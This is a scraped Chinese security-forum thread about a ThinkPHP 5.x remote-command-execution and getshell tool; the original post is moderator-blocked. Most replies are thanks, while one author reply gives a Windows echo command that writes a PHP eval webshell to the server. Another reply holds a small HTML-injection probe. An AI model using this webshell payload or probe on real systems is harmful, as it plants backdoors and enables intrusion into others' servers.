用户
搜索
  • TA的每日心情

    2018-3-2 07:59
  • 签到天数: 8 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    27

    主题

    274

    帖子

    4167

    魔法币
    收听
    0
    粉丝
    133
    注册时间
    2017-4-15

    i春秋认证春秋文阁i春秋签约作者

    发表于 2018-12-11 16:35:51 34676773
    提示: 该帖被管理员或版主屏蔽
    签名被屏蔽
    49993925 发表于 2018-12-13 00:24
    5.018提示有漏洞,getshell失败  求更新

    5.0x的写文件目前我也没办法,不过有命令执行。
    你可以执行命令看下路径,然后执行命令写shell
    [AppleScript] 纯文本查看 复制代码
    echo ^<^?php eval($_POST[admin]);?^>^ >>路径\webshell.php

    ------在下名为菜逼,阁下请多指教。
    ------博客:www.jasonx.cc
    使用道具 举报 回复

    本帖最后由 jasonx 于 2018-12-13 09:56 编辑

    更新记录
    修改时间:2018年12月13日
    改动:修改了漏洞验证误报

    漏洞细节
    见这里https://bbs.ichunqiu.com/thread-48687-1-1.html

    漏洞验证


    命令执行


    getshell



    免责声明666666666666666666666666666666666666688888888888
    使用道具 举报 回复
    表哥666啊                                                   
    使用道具 举报 回复
    jasonx 发表于 2018-12-12 14:53
    版本问题吧?你可以下载5.x的版本 本地测试下。
    我测试了没毛病的。

    有问题,有漏洞的反而不行,没漏洞的又有漏洞。。。。。。。。。。。。。。。。。。。。。。。
    使用道具 举报 回复
    icq0100fc34 i春秋-脚本小子 顾某人生前也是一位体面人
    推荐
    发表于 2018-12-16 13:58:57

    表哥666啊                          
    比你优秀的人都在努力,你努力有什么用?
    使用道具 举报 回复
    表哥666啊                           
    使用道具 举报 回复
    发表于 2018-12-11 16:58:50
    表哥666啊                           
    使用道具 举报 回复
    菜鸟求助,thinkphp5.018在根目录和public这个目录均可以写进去shell,打开页面就是文本内容,菜刀连接不上,求指点,跪谢
    求大神指点下
    使用道具 举报 回复
    发表于 2018-12-11 16:51:37
    我想大声的说声陆陆陆路
    使用道具 举报 回复
    发表于 2018-12-11 16:55:28
    感谢表哥无私奉献
    "><img src=1>
    使用道具 举报 回复
    发表于 2018-12-11 17:05:52
    感谢分享
    使用道具 举报 回复
    发表于 2018-12-11 17:09:39
    感谢表哥无私奉献
    使用道具 举报 回复
    发表于 2018-12-11 17:09:55
    经典款hi里 发发想
    使用道具 举报 回复
    发表于 2018-12-11 17:11:11
    66666666666666666
    使用道具 举报 回复
    发表于 2018-12-11 17:12:19
    谢谢大表哥,收藏了
    使用道具 举报 回复
    发表于 2018-12-11 17:23:43
    天牛。。。。。asdasd
    使用道具 举报 回复
    发表于 2018-12-11 17:24:30
    学习学习
    使用道具 举报 回复
    发表于 2018-12-11 17:35:13
    试试66666666666666
    使用道具 举报 回复
    发表于 2018-12-11 17:38:14
    陆陆陆陆陆
    使用道具 举报 回复
    厉害啊,大佬!!
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册